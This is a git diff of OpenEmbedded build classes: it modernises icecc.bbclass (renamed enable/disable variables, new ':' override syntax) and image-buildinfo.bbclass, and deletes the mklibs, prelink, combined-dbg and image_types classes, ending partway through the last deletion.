diff --git a/meta/classes/icecc.bbclass b/meta/classes/icecc.bbclass
index d095305ed8..159cae20f8 100644
--- a/meta/classes/icecc.bbclass
+++ b/meta/classes/icecc.bbclass
@@ -1,40 +1,45 @@
-# IceCream distributed compiling support
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+# Icecream distributed compiling support
#
# Stages directories with symlinks from gcc/g++ to icecc, for both
# native and cross compilers. Depending on each configure or compile,
# the directories are added at the head of the PATH list and ICECC_CXX
-# and ICEC_CC are set.
+# and ICECC_CC are set.
#
# For the cross compiler, creates a tar.gz of our toolchain and sets
# ICECC_VERSION accordingly.
#
# The class now handles all 3 different compile 'stages' (i.e native ,cross-kernel and target) creating the
# necessary environment tar.gz file to be used by the remote machines.
-# It also supports meta-toolchain generation
+# It also supports meta-toolchain generation.
#
# If ICECC_PATH is not set in local.conf then the class will try to locate it using 'bb.utils.which'
-# but nothing is sure ;)
+# but nothing is sure. ;)
#
# If ICECC_ENV_EXEC is set in local.conf, then it should point to the icecc-create-env script provided by the user
-# or the default one provided by icecc-create-env.bb will be used
-# (NOTE that this is a modified version of the script need it and *not the one that comes with icecc*
+# or the default one provided by icecc-create-env_0.1.bb will be used.
+# (NOTE that this is a modified version of the needed script and *not the one that comes with icecream*).
#
-# User can specify if specific packages or packages belonging to class should not use icecc to distribute
-# compile jobs to remote machines, but handled locally, by defining ICECC_USER_CLASS_BL and ICECC_USER_PACKAGE_BL
-# with the appropriate values in local.conf. In addition the user can force to enable icecc for packages
-# which set an empty PARALLEL_MAKE variable by defining ICECC_USER_PACKAGE_WL.
+# User can specify if specific recipes or recipes inheriting specific classes should not use icecc to distribute
+# compile jobs to remote machines, but handle them locally by defining ICECC_CLASS_DISABLE and ICECC_RECIPE_DISABLE
+# with the appropriate values in local.conf. In addition the user can force to enable icecc for recipes
+# which set an empty PARALLEL_MAKE variable by defining ICECC_RECIPE_ENABLE.
#
#########################################################################################
-#Error checking is kept to minimum so double check any parameters you pass to the class
-###########################################################################################
+# Error checking is kept to minimum so double check any parameters you pass to the class
+#########################################################################################
-BB_HASHBASE_WHITELIST += "ICECC_PARALLEL_MAKE ICECC_DISABLED ICECC_USER_PACKAGE_BL \
- ICECC_USER_CLASS_BL ICECC_USER_PACKAGE_WL ICECC_PATH ICECC_ENV_EXEC \
+BB_BASEHASH_IGNORE_VARS += "ICECC_PARALLEL_MAKE ICECC_DISABLED ICECC_RECIPE_DISABLE \
+ ICECC_CLASS_DISABLE ICECC_RECIPE_ENABLE ICECC_PATH ICECC_ENV_EXEC \
ICECC_CARET_WORKAROUND ICECC_CFLAGS ICECC_ENV_VERSION \
ICECC_DEBUG ICECC_LOGFILE ICECC_REPEAT_RATE ICECC_PREFERRED_HOST \
ICECC_CLANG_REMOTE_CPP ICECC_IGNORE_UNVERIFIED ICECC_TEST_SOCKET \
- ICECC_ENV_DEBUG ICECC_SYSTEM_PACKAGE_BL ICECC_SYSTEM_CLASS_BL \
- ICECC_REMOTE_CPP \
+ ICECC_ENV_DEBUG ICECC_REMOTE_CPP \
"
ICECC_ENV_EXEC ?= "${STAGING_BINDIR_NATIVE}/icecc-create-env"
@@ -45,9 +50,9 @@ HOSTTOOLS_NONFATAL += "icecc patchelf"
# invalidate the version on the compile nodes. Changing it will cause a new
# environment to be created.
#
-# A useful thing to do for testing Icecream changes locally is to add a
+# A useful thing to do for testing icecream changes locally is to add a
# subversion in local.conf:
-# ICECC_ENV_VERSION_append = "-my-ver-1"
+# ICECC_ENV_VERSION:append = "-my-ver-1"
ICECC_ENV_VERSION = "2"
# Default to disabling the caret workaround, If set to "1" in local.conf, icecc
@@ -66,46 +71,46 @@ CXXFLAGS += "${ICECC_CFLAGS}"
# Debug flags when generating environments
ICECC_ENV_DEBUG ??= ""
-# "system" recipe blacklist contains a list of packages that can not distribute
-# compile tasks for one reason or the other. When adding new entry, please
+# Disable recipe list contains a list of recipes that can not distribute
+# compile tasks for one reason or the other. When adding a new entry, please
# document why (how it failed) so that we can re-evaluate it later e.g. when
-# there is new version
+# there is a new version.
#
# libgcc-initial - fails with CPP sanity check error if host sysroot contains
-# cross gcc built for another target tune/variant
+# cross gcc built for another target tune/variant.
# pixman - prng_state: TLS reference mismatches non-TLS reference, possibly due to
-# pragma omp threadprivate(prng_state)
+# pragma omp threadprivate(prng_state).
# systemtap - _HelperSDT.c undefs macros and uses the identifiers in macros emitting
-# inline assembly
+# inline assembly.
# target-sdk-provides-dummy - ${HOST_PREFIX} is empty which triggers the "NULL
# prefix" error.
-ICECC_SYSTEM_PACKAGE_BL += "\
+ICECC_RECIPE_DISABLE += "\
libgcc-initial \
pixman \
systemtap \
target-sdk-provides-dummy \
"
-# "system" classes that should be blacklisted. When adding new entry, please
-# document why (how it failed) so that we can re-evaluate it later
+# Classes that should not use icecc. When adding a new entry, please
+# document why (how it failed) so that we can re-evaluate it later.
#
-# image - Image aren't compiling, but the testing framework for images captures
+# image - images aren't compiling, but the testing framework for images captures
# PARALLEL_MAKE as part of the test environment. Many tests won't use
# icecream, but leaving the high level of parallelism can cause them to
# consume an unnecessary amount of resources.
-ICECC_SYSTEM_CLASS_BL += "\
+ICECC_CLASS_DISABLE += "\
image \
"
-def icecc_dep_prepend(d):
- # INHIBIT_DEFAULT_DEPS doesn't apply to the patch command. Whether or not
+def get_icecc_dep(d):
+ # INHIBIT_DEFAULT_DEPS doesn't apply to the patch command. Whether or not
# we need that built is the responsibility of the patch function / class, not
# the application.
if not d.getVar('INHIBIT_DEFAULT_DEPS'):
return "icecc-create-env-native"
return ""
-DEPENDS_prepend = "${@icecc_dep_prepend(d)} "
+DEPENDS:prepend = "${@get_icecc_dep(d)} "
get_cross_kernel_cc[vardepsexclude] += "KERNEL_CC"
def get_cross_kernel_cc(bb,d):
@@ -138,39 +143,31 @@ def use_icecc(bb,d):
if icecc_is_cross_canadian(bb, d):
return "no"
- if d.getVar('INHIBIT_DEFAULT_DEPS', False):
- # We don't have a compiler, so no icecc
- return "no"
-
pn = d.getVar('PN')
bpn = d.getVar('BPN')
- # Blacklist/whitelist checks are made against BPN, because there is a good
+ # Enable/disable checks are made against BPN, because there is a good
# chance that if icecc should be skipped for a recipe, it should be skipped
# for all the variants of that recipe. PN is still checked in case a user
# specified a more specific recipe.
check_pn = set([pn, bpn])
- system_class_blacklist = (d.getVar('ICECC_SYSTEM_CLASS_BL') or "").split()
- user_class_blacklist = (d.getVar('ICECC_USER_CLASS_BL') or "none").split()
- package_class_blacklist = system_class_blacklist + user_class_blacklist
+ class_disable = (d.getVar('ICECC_CLASS_DISABLE') or "").split()
- for black in package_class_blacklist:
- if bb.data.inherits_class(black, d):
- bb.debug(1, "%s: class %s found in blacklist, disable icecc" % (pn, black))
+ for bbclass in class_disable:
+ if bb.data.inherits_class(bbclass, d):
+ bb.debug(1, "%s: bbclass %s found in disable, disable icecc" % (pn, bbclass))
return "no"
- system_package_blacklist = (d.getVar('ICECC_SYSTEM_PACKAGE_BL') or "").split()
- user_package_blacklist = (d.getVar('ICECC_USER_PACKAGE_BL') or "").split()
- user_package_whitelist = (d.getVar('ICECC_USER_PACKAGE_WL') or "").split()
- package_blacklist = system_package_blacklist + user_package_blacklist
+ disabled_recipes = (d.getVar('ICECC_RECIPE_DISABLE') or "").split()
+ enabled_recipes = (d.getVar('ICECC_RECIPE_ENABLE') or "").split()
- if check_pn & set(package_blacklist):
- bb.debug(1, "%s: found in blacklist, disable icecc" % pn)
+ if check_pn & set(disabled_recipes):
+ bb.debug(1, "%s: found in disable list, disable icecc" % pn)
return "no"
- if check_pn & set(user_package_whitelist):
- bb.debug(1, "%s: found in whitelist, enable icecc" % pn)
+ if check_pn & set(enabled_recipes):
+ bb.debug(1, "%s: found in enabled recipes list, enable icecc" % pn)
return "yes"
if d.getVar('PARALLEL_MAKE') == "":
@@ -262,7 +259,7 @@ def icecc_get_tool_link(tool, d):
def icecc_get_path_tool(tool, d):
# This is a little ugly, but we want to make sure we add an actual
# compiler to the toolchain, not ccache. Some distros (e.g. Fedora)
- # have ccache enabled by default using symlinks PATH, meaning ccache
+ # have ccache enabled by default using symlinks in PATH, meaning ccache
# would be found first when looking for the compiler.
paths = os.getenv("PATH").split(':')
while True:
@@ -313,7 +310,7 @@ wait_for_file() {
local TIMEOUT=$2
until [ -f "$FILE_TO_TEST" ]
do
- TIME_ELAPSED=`expr $TIME_ELAPSED + 1`
+ TIME_ELAPSED=$(expr $TIME_ELAPSED + 1)
if [ $TIME_ELAPSED -gt $TIMEOUT ]
then
return 1
@@ -362,12 +359,12 @@ set_icecc_env() {
ICECC_WHICH_AS="${@bb.utils.which(os.getenv('PATH'), 'as')}"
if [ ! -x "${ICECC_CC}" -o ! -x "${ICECC_CXX}" ]
then
- bbwarn "Cannot use icecc: could not get ICECC_CC or ICECC_CXX"
+ bbnote "Cannot use icecc: could not get ICECC_CC or ICECC_CXX"
return
fi
- ICE_VERSION=`$ICECC_CC -dumpversion`
- ICECC_VERSION=`echo ${ICECC_VERSION} | sed -e "s/@VERSION@/$ICE_VERSION/g"`
+ ICE_VERSION="$($ICECC_CC -dumpversion)"
+ ICECC_VERSION=$(echo ${ICECC_VERSION} | sed -e "s/@VERSION@/$ICE_VERSION/g")
if [ ! -x "${ICECC_ENV_EXEC}" ]
then
bbwarn "Cannot use icecc: invalid ICECC_ENV_EXEC"
@@ -383,7 +380,6 @@ set_icecc_env() {
fi
for compiler in $compilers; do
ln -sf $ICECC_BIN $ICE_PATH/symlinks/$compiler
- rm -f $ICE_PATH/$compiler
cat <<-__EOF__ > $ICE_PATH/$compiler
#!/bin/sh -e
export ICECC_VERSION=$ICECC_VERSION
@@ -394,18 +390,18 @@ set_icecc_env() {
chmod 775 $ICE_PATH/$compiler
done
- ICECC_AS="`${ICECC_CC} -print-prog-name=as`"
+ ICECC_AS="$(${ICECC_CC} -print-prog-name=as)"
# for target recipes should return something like:
# /OE/tmp-eglibc/sysroots/x86_64-linux/usr/libexec/arm920tt-oe-linux-gnueabi/gcc/arm-oe-linux-gnueabi/4.8.2/as
# and just "as" for native, if it returns "as" in current directory (for whatever reason) use "as" from PATH
- if [ "`dirname "${ICECC_AS}"`" = "." ]
+ if [ "$(dirname "${ICECC_AS}")" = "." ]
then
ICECC_AS="${ICECC_WHICH_AS}"
fi
if [ ! -f "${ICECC_VERSION}.done" ]
then
- mkdir -p "`dirname "${ICECC_VERSION}"`"
+ mkdir -p "$(dirname "${ICECC_VERSION}")"
# the ICECC_VERSION generation step must be locked by a mutex
# in order to prevent race conditions
@@ -432,28 +428,34 @@ set_icecc_env() {
bbnote "Using icecc tarball: $ICECC_VERSION"
}
-do_configure_prepend() {
+do_configure:prepend() {
set_icecc_env
}
-do_compile_prepend() {
+do_compile:prepend() {
set_icecc_env
}
-do_compile_kernelmodules_prepend() {
+do_compile_kernelmodules:prepend() {
set_icecc_env
}
-do_install_prepend() {
+do_install:prepend() {
set_icecc_env
}
-# IceCream is not (currently) supported in the extensible SDK
+# Icecream is not (currently) supported in the extensible SDK
ICECC_SDK_HOST_TASK = "nativesdk-icecc-toolchain"
-ICECC_SDK_HOST_TASK_task-populate-sdk-ext = ""
+ICECC_SDK_HOST_TASK:task-populate-sdk-ext = ""
-# Don't include IceCream in uninative tarball
-ICECC_SDK_HOST_TASK_pn-uninative-tarball = ""
+# Don't include icecream in uninative tarball
+ICECC_SDK_HOST_TASK:pn-uninative-tarball = ""
# Add the toolchain scripts to the SDK
-TOOLCHAIN_HOST_TASK_append = " ${ICECC_SDK_HOST_TASK}"
+TOOLCHAIN_HOST_TASK:append = " ${ICECC_SDK_HOST_TASK}"
+
+python () {
+ if d.getVar('ICECC_DISABLED') != "1":
+ for task in ['do_configure', 'do_compile', 'do_compile_kernelmodules', 'do_install']:
+ d.setVarFlag(task, 'network', '1')
+}
diff --git a/meta/classes/image-buildinfo.bbclass b/meta/classes/image-buildinfo.bbclass
index 94c585d4cd..b83ce650ad 100644
--- a/meta/classes/image-buildinfo.bbclass
+++ b/meta/classes/image-buildinfo.bbclass
@@ -1,10 +1,10 @@
#
-# Writes build information to target filesystem on /etc/build
+# Writes build information to target filesystem on /etc/buildinfo
#
# Copyright (C) 2014 Intel Corporation
# Author: Alejandro Enedino Hernandez Samaniego <alejandro.hernandez@intel.com>
#
-# Licensed under the MIT license, see COPYING.MIT for details
+# SPDX-License-Identifier: MIT
#
# Usage: add INHERIT += "image-buildinfo" to your conf file
#
@@ -13,7 +13,8 @@
IMAGE_BUILDINFO_VARS ?= "DISTRO DISTRO_VERSION"
# Desired location of the output file in the image.
-IMAGE_BUILDINFO_FILE ??= "${sysconfdir}/build"
+IMAGE_BUILDINFO_FILE ??= "${sysconfdir}/buildinfo"
+SDK_BUILDINFO_FILE ??= "/buildinfo"
# From buildhistory.bbclass
def image_buildinfo_outputvars(vars, d):
@@ -26,30 +27,10 @@ def image_buildinfo_outputvars(vars, d):
ret += "%s = %s\n" % (var, value)
return ret.rstrip('\n')
-# Gets git branch's status (clean or dirty)
-def get_layer_git_status(path):
- import subprocess
- try:
- subprocess.check_output("""cd %s; export PSEUDO_UNLOAD=1; set -e;
- git diff --quiet --no-ext-diff
- git diff --quiet --no-ext-diff --cached""" % path,
- shell=True,
- stderr=subprocess.STDOUT)
- return ""
- except subprocess.CalledProcessError as ex:
- # Silently treat errors as "modified", without checking for the
- # (expected) return code 1 in a modified git repo. For example, we get
- # output and a 129 return code when a layer isn't a git repo at all.
- return "-- modified"
-
# Returns layer revisions along with their respective status
def get_layer_revs(d):
- layers = (d.getVar("BBLAYERS") or "").split()
- medadata_revs = ["%-17s = %s:%s %s" % (os.path.basename(i), \
- base_get_metadata_git_branch(i, None).strip(), \
- base_get_metadata_git_revision(i, None), \
- get_layer_git_status(i)) \
- for i in layers]
+ revisions = oe.buildcfg.get_layer_revisions(d)
+ medadata_revs = ["%-17s = %s:%s%s" % (r[1], r[2], r[3], r[4]) for r in revisions]
return '\n'.join(medadata_revs)
def buildinfo_target(d):
@@ -60,11 +41,12 @@ def buildinfo_target(d):
vars = (d.getVar("IMAGE_BUILDINFO_VARS") or "")
return image_buildinfo_outputvars(vars, d)
-# Write build information to target filesystem
-python buildinfo () {
+python buildinfo() {
if not d.getVar('IMAGE_BUILDINFO_FILE'):
return
- with open(d.expand('${IMAGE_ROOTFS}${IMAGE_BUILDINFO_FILE}'), 'w') as build:
+ destfile = d.expand('${BUILDINFODEST}${IMAGE_BUILDINFO_FILE}')
+ bb.utils.mkdirhier(os.path.dirname(destfile))
+ with open(destfile, 'w') as build:
build.writelines((
'''-----------------------
Build Configuration: |
@@ -82,4 +64,18 @@ Layer Revisions: |
))
}
-IMAGE_PREPROCESS_COMMAND += "buildinfo;"
+# Write build information to target filesystem
+python buildinfo_image () {
+ d.setVar("BUILDINFODEST", "${IMAGE_ROOTFS}")
+ bb.build.exec_func("buildinfo", d)
+}
+
+python buildinfo_sdk () {
+ d.setVar("BUILDINFODEST", "${SDK_OUTPUT}/${SDKPATH}")
+ d.setVar("IMAGE_BUILDINFO_FILE", d.getVar("SDK_BUILDINFO_FILE"))
+ bb.build.exec_func("buildinfo", d)
+}
+
+IMAGE_PREPROCESS_COMMAND += "buildinfo_image"
+POPULATE_SDK_PRE_TARGET_COMMAND += "buildinfo_sdk"
+
diff --git a/meta/classes/image-combined-dbg.bbclass b/meta/classes/image-combined-dbg.bbclass
deleted file mode 100644
index f4772f7ea1..0000000000
--- a/meta/classes/image-combined-dbg.bbclass
+++ /dev/null
@@ -1,9 +0,0 @@
-IMAGE_PREPROCESS_COMMAND_append = " combine_dbg_image; "
-
-combine_dbg_image () {
- if [ "${IMAGE_GEN_DEBUGFS}" = "1" -a -e ${IMAGE_ROOTFS}-dbg ]; then
- # copy target files into -dbg rootfs, so it can be used for
- # debug purposes directly
- tar -C ${IMAGE_ROOTFS} -cf - . | tar -C ${IMAGE_ROOTFS}-dbg -xf -
- fi
-}
diff --git a/meta/classes/image-mklibs.bbclass b/meta/classes/image-mklibs.bbclass
deleted file mode 100644
index 68e11d4365..0000000000
--- a/meta/classes/image-mklibs.bbclass
+++ /dev/null
@@ -1,56 +0,0 @@
-do_rootfs[depends] += "mklibs-native:do_populate_sysroot"
-
-IMAGE_PREPROCESS_COMMAND += "mklibs_optimize_image; "
-
-inherit linuxloader
-
-mklibs_optimize_image_doit() {
- rm -rf ${WORKDIR}/mklibs
- mkdir -p ${WORKDIR}/mklibs/dest
- cd ${IMAGE_ROOTFS}
- du -bs > ${WORKDIR}/mklibs/du.before.mklibs.txt
-
- # Build a list of dynamically linked executable ELF files.
- # Omit libc/libpthread as a special case because it has an interpreter
- # but is primarily what we intend to strip down.
- for i in `find . -type f -executable ! -name 'libc-*' ! -name 'libpthread-*'`; do
- file $i | grep -q ELF || continue
- ${HOST_PREFIX}readelf -l $i | grep -q INTERP || continue
- echo $i
- done > ${WORKDIR}/mklibs/executables.list
-
- dynamic_loader=${@get_linuxloader(d)}
-
- mklibs -v \
- --ldlib ${dynamic_loader} \
- --libdir ${baselib} \
- --sysroot ${PKG_CONFIG_SYSROOT_DIR} \
- --gcc-options "--sysroot=${PKG_CONFIG_SYSROOT_DIR}" \
- --root ${IMAGE_ROOTFS} \
- --target `echo ${TARGET_PREFIX} | sed 's/-$//' ` \
- -d ${WORKDIR}/mklibs/dest \
- `cat ${WORKDIR}/mklibs/executables.list`
-
- cd ${WORKDIR}/mklibs/dest
- for i in *
- do
- cp $i `find ${IMAGE_ROOTFS} -name $i`
- done
-
- cd ${IMAGE_ROOTFS}
- du -bs > ${WORKDIR}/mklibs/du.after.mklibs.txt
-
- echo rootfs size before mklibs optimization: `cat ${WORKDIR}/mklibs/du.before.mklibs.txt`
- echo rootfs size after mklibs optimization: `cat ${WORKDIR}/mklibs/du.after.mklibs.txt`
-}
-
-mklibs_optimize_image() {
- for img in ${MKLIBS_OPTIMIZED_IMAGES}
- do
- if [ "${img}" = "${PN}" ] || [ "${img}" = "all" ]
- then
- mklibs_optimize_image_doit
- break
- fi
- done
-}
diff --git a/meta/classes/image-prelink.bbclass b/meta/classes/image-prelink.bbclass
deleted file mode 100644
index ebf6e6d7ee..0000000000
--- a/meta/classes/image-prelink.bbclass
+++ /dev/null
@@ -1,81 +0,0 @@
-do_rootfs[depends] += "prelink-native:do_populate_sysroot"
-
-IMAGE_PREPROCESS_COMMAND_append_libc-glibc = " prelink_setup; prelink_image; "
-
-python prelink_setup () {
- oe.utils.write_ld_so_conf(d)
-}
-
-inherit linuxloader
-
-prelink_image () {
-# export PSEUDO_DEBUG=4
-# /bin/env | /bin/grep PSEUDO
-# echo "LD_LIBRARY_PATH=$LD_LIBRARY_PATH"
-# echo "LD_PRELOAD=$LD_PRELOAD"
-
- pre_prelink_size=`du -ks ${IMAGE_ROOTFS} | awk '{size = $1 ; print size }'`
- echo "Size before prelinking $pre_prelink_size."
-
- # The filesystem may not contain sysconfdir so establish what is present
- # to enable cleanup after temporary creation of sysconfdir if needed
- presentdir="${IMAGE_ROOTFS}${sysconfdir}"
- while [ "${IMAGE_ROOTFS}" != "${presentdir}" ] ; do
- [ ! -d "${presentdir}" ] || break
- presentdir=`dirname "${presentdir}"`
- done
-
- mkdir -p "${IMAGE_ROOTFS}${sysconfdir}"
-
- # We need a prelink conf on the filesystem, add one if it's missing
- if [ ! -e ${IMAGE_ROOTFS}${sysconfdir}/prelink.conf ]; then
- cp ${STAGING_ETCDIR_NATIVE}/prelink.conf \
- ${IMAGE_ROOTFS}${sysconfdir}/prelink.conf
- dummy_prelink_conf=true;
- else
- dummy_prelink_conf=false;
- fi
-
- # We need a ld.so.conf with pathnames in,prelink conf on the filesystem, add one if it's missing
- ldsoconf=${IMAGE_ROOTFS}${sysconfdir}/ld.so.conf
- if [ -e $ldsoconf ]; then
- cp $ldsoconf $ldsoconf.prelink
- fi
- cat ${STAGING_DIR_TARGET}${sysconfdir}/ld.so.conf >> $ldsoconf
-
- dynamic_loader=${@get_linuxloader(d)}
-
- # prelink!
- if [ "${BUILD_REPRODUCIBLE_BINARIES}" = "1" ]; then
- bbnote " prelink: BUILD_REPRODUCIBLE_BINARIES..."
- if [ "$REPRODUCIBLE_TIMESTAMP_ROOTFS" = "" ]; then
- export PRELINK_TIMESTAMP=`git log -1 --pretty=%ct `
- else
- export PRELINK_TIMESTAMP=$REPRODUCIBLE_TIMESTAMP_ROOTFS
- fi
- ${STAGING_SBINDIR_NATIVE}/prelink --root ${IMAGE_ROOTFS} -am -N -c ${sysconfdir}/prelink.conf --dynamic-linker $dynamic_loader
- else
- ${STAGING_SBINDIR_NATIVE}/prelink --root ${IMAGE_ROOTFS} -amR -N -c ${sysconfdir}/prelink.conf --dynamic-linker $dynamic_loader
- fi
-
- # Remove the prelink.conf if we had to add it.
- if [ "$dummy_prelink_conf" = "true" ]; then
- rm -f ${IMAGE_ROOTFS}${sysconfdir}/prelink.conf
- fi
-
- if [ -e $ldsoconf.prelink ]; then
- mv $ldsoconf.prelink $ldsoconf
- else
- rm $ldsoconf
- fi
-
- # Remove any directories temporarily created for sysconfdir
- cleanupdir="${IMAGE_ROOTFS}${sysconfdir}"
- while [ "${presentdir}" != "${cleanupdir}" ] ; do
- rmdir "${cleanupdir}"
- cleanupdir=`dirname ${cleanupdir}`
- done
-
- pre_prelink_size=`du -ks ${IMAGE_ROOTFS} | awk '{size = $1 ; print size }'`
- echo "Size after prelinking $pre_prelink_size."
-}
diff --git a/meta/classes/image_types.bbclass b/meta/classes/image_types.bbclass
deleted file mode 100644
index ab05cc90ff..0000000000
--- a/meta/classes/image_types.bbclass
+++ /dev/null
@@ -1,335 +0,0 @@
-# IMAGE_NAME is the base name for everything produced when building images.
-# The actual image that contains the rootfs has an additional suffix (.rootfs
-# by default) followed by additional suffices which describe the format (.ext4,
-# .ext4.xz, etc.).
-IMAGE_NAME_SUFFIX ??= ".rootfs"
-
-# The default aligment of the size of the rootfs is set to 1KiB. In case
-# you're using the SD card emulation of a QEMU system simulator you may
-# set this value to 2048 (2MiB alignment).
-IMAGE_ROOTFS_ALIGNMENT ?= "1"
-
-def imagetypes_getdepends(d):
- def adddep(depstr, deps):
- for d in (depstr or "").split():
- # Add task dependency if not already present
- if ":" not in d:
- d += ":do_populate_sysroot"
- deps.add(d)
-
- # Take a type in the form of foo.bar.car and split it into the items
- # needed for the image deps "foo", and the conversion deps ["bar", "car"]
- def split_types(typestring):
- types = typestring.split(".")
- return types[0], types[1:]
-
- fstypes = set((d.getVar('IMAGE_FSTYPES') or "").split())
- fstypes |= set((d.getVar('IMAGE_FSTYPES_DEBUGFS') or "").split())
-
- deprecated = set()
- deps = set()
- for typestring in fstypes:
- basetype, resttypes = split_types(typestring)
-
- var = "IMAGE_DEPENDS_%s" % basetype
- if d.getVar(var) is not None:
- deprecated.add(var)
-
- for typedepends in (d.getVar("IMAGE_TYPEDEP_%s" % basetype) or "").split():
- base, rest = split_types(typedepends)
- resttypes += rest
-
- var = "IMAGE_DEPENDS_%s" % base
- if d.getVar(var) is not None:
- deprecated.add(var)
-
- for ctype in resttypes:
- adddep(d.getVar("CONVERSION_DEPENDS_%s" % ctype), deps)
- adddep(d.getVar("COMPRESS_DEPENDS_%s" % ctype), deps)
-
- if deprecated:
- bb.fatal('Deprecated variable(s) found: "%s". '
- 'Use do_image_<type>[depends] += "<recipe>:<task>" instead' % ', '.join(deprecated))
-
- # Sort the set so that ordering is consistant
- return " ".join(sorted(deps))
-
-XZ_COMPRESSION_LEVEL ?= "-9"
-XZ_INTEGRITY_CHECK ?= "crc32"
-
-ZIP_COMPRESSION_LEVEL ?= "-9"
-
-ZSTD_COMPRESSION_LEVEL ?= "-3"
-
-JFFS2_SUM_EXTRA_ARGS ?= ""
-IMAGE_CMD_jffs2 = "mkfs.jffs2 --root=${IMAGE_ROOTFS} --faketime --output=${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.jffs2 ${EXTRA_IMAGECMD}"
-
-IMAGE_CMD_cramfs = "mkfs.cramfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cramfs ${EXTRA_IMAGECMD}"
-
-oe_mkext234fs () {
- fstype=$1
- extra_imagecmd=""
-
- if [ $# -gt 1 ]; then
- shift
- extra_imagecmd=$@
- fi
-
- # If generating an empty image the size of the sparse block should be large
- # enough to allocate an ext4 filesystem using 4096 bytes per inode, this is
- # about 60K, so dd needs a minimum count of 60, with bs=1024 (bytes per IO)
- eval local COUNT=\"0\"
- eval local MIN_COUNT=\"60\"
- if [ $ROOTFS_SIZE -lt $MIN_COUNT ]; then
- eval COUNT=\"$MIN_COUNT\"
- fi
- # Create a sparse image block
- bbdebug 1 Executing "dd if=/dev/zero of=${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.$fstype seek=$ROOTFS_SIZE count=$COUNT bs=1024"
- dd if=/dev/zero of=${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.$fstype seek=$ROOTFS_SIZE count=$COUNT bs=1024
- bbdebug 1 "Actual Rootfs size: `du -s ${IMAGE_ROOTFS}`"
- bbdebug 1 "Actual Partion size: `stat -c '%s' ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.$fstype`"
- bbdebug 1 Executing "mkfs.$fstype -F $extra_imagecmd ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.$fstype -d ${IMAGE_ROOTFS}"
- mkfs.$fstype -F $extra_imagecmd ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.$fstype -d ${IMAGE_ROOTFS}
- # Error codes 0-3 indicate successfull operation of fsck (no errors or errors corrected)
- fsck.$fstype -pvfD ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.$fstype || [ $? -le 3 ]
-}
-
-IMAGE_CMD_ext2 = "oe_mkext234fs ext2 ${EXTRA_IMAGECMD}"
-IMAGE_CMD_ext3 = "oe_mkext234fs ext3 ${EXTRA_IMAGECMD}"
-IMAGE_CMD_ext4 = "oe_mkext234fs ext4 ${EXTRA_IMAGECMD}"
-
-MIN_BTRFS_SIZE ?= "16384"
-IMAGE_CMD_btrfs () {
- size=${ROOTFS_SIZE}
- if [ ${size} -lt ${MIN_BTRFS_SIZE} ] ; then
- size=${MIN_BTRFS_SIZE}
- bbwarn "Rootfs size is too small for BTRFS. Filesystem will be extended to ${size}K"
- fi
- dd if=/dev/zero of=${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.btrfs seek=${size} count=0 bs=1024
- mkfs.btrfs ${EXTRA_IMAGECMD} -r ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.btrfs
-}
-
-IMAGE_CMD_squashfs = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs ${EXTRA_IMAGECMD} -noappend"
-IMAGE_CMD_squashfs-xz = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-xz ${EXTRA_IMAGECMD} -noappend -comp xz"
-IMAGE_CMD_squashfs-lzo = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-lzo ${EXTRA_IMAGECMD} -noappend -comp lzo"
-IMAGE_CMD_squashfs-lz4 = "mksquashfs ${IMAGE_ROOTFS} ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.squashfs-lz4 ${EXTRA_IMAGECMD} -noappend -comp lz4"
-
-# By default, tar from the host is used, which can be quite old. If
-# you need special parameters (like --xattrs) which are only supported
-# by GNU tar upstream >= 1.27, then override that default:
-# IMAGE_CMD_TAR = "tar --xattrs --xattrs-include=*"
-# do_image_tar[depends] += "tar-replacement-native:do_populate_sysroot"
-# EXTRANATIVEPATH += "tar-native"
-#
-# The GNU documentation does not specify whether --xattrs-include is necessary.
-# In practice, it turned out to be not needed when creating archives and
-# required when extracting, but it seems prudent to use it in both cases.
-IMAGE_CMD_TAR ?= "tar"
-# ignore return code 1 "file changed as we read it" as other tasks(e.g. do_image_wic) may be hardlinking rootfs
-IMAGE_CMD_tar = "${IMAGE_CMD_TAR} --numeric-owner -cf ${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.tar -C ${IMAGE_ROOTFS} . || [ $? -eq 1 ]"
-
-do_image_cpio[cleandirs] += "${WORKDIR}/cpio_append"
-IMAGE_CMD_cpio () {
- (cd ${IMAGE_ROOTFS} && find . | sort | cpio --reproducible -o -H newc >${IMGDEPLOYDIR}/${IMAGE_NAME}${IMAGE_NAME_SUFFIX}.cpio)
- # We only need the /init symlink if we're building the real
- # image. The -dbg image doesn't need it! By being clever
- # about this we also avoid 'touch' below failing, as it
- # might be trying to touch /sbin/init on the host since both
- # the normal and the -dbg image share the same WORKDIR
- if [ "${IMAGE_BUILDING_DEBUGFS}" != "true" ]; then
- if [ ! -L ${IMAGE_ROOTFS}/init ] && [ ! -e ${IMAGE_ROOTFS}/init ]; then
- if [ -L ${IMAGE_ROOTFS}/sbin/init ] || [ -e ${IMAGE_ROOTFS}/sbin/init ]; then
- ln -sf /sbin/init ${WORKDIR}/cpio_append/init
- else
- touch ${WORKDIR}/cpio_append/init
- fi
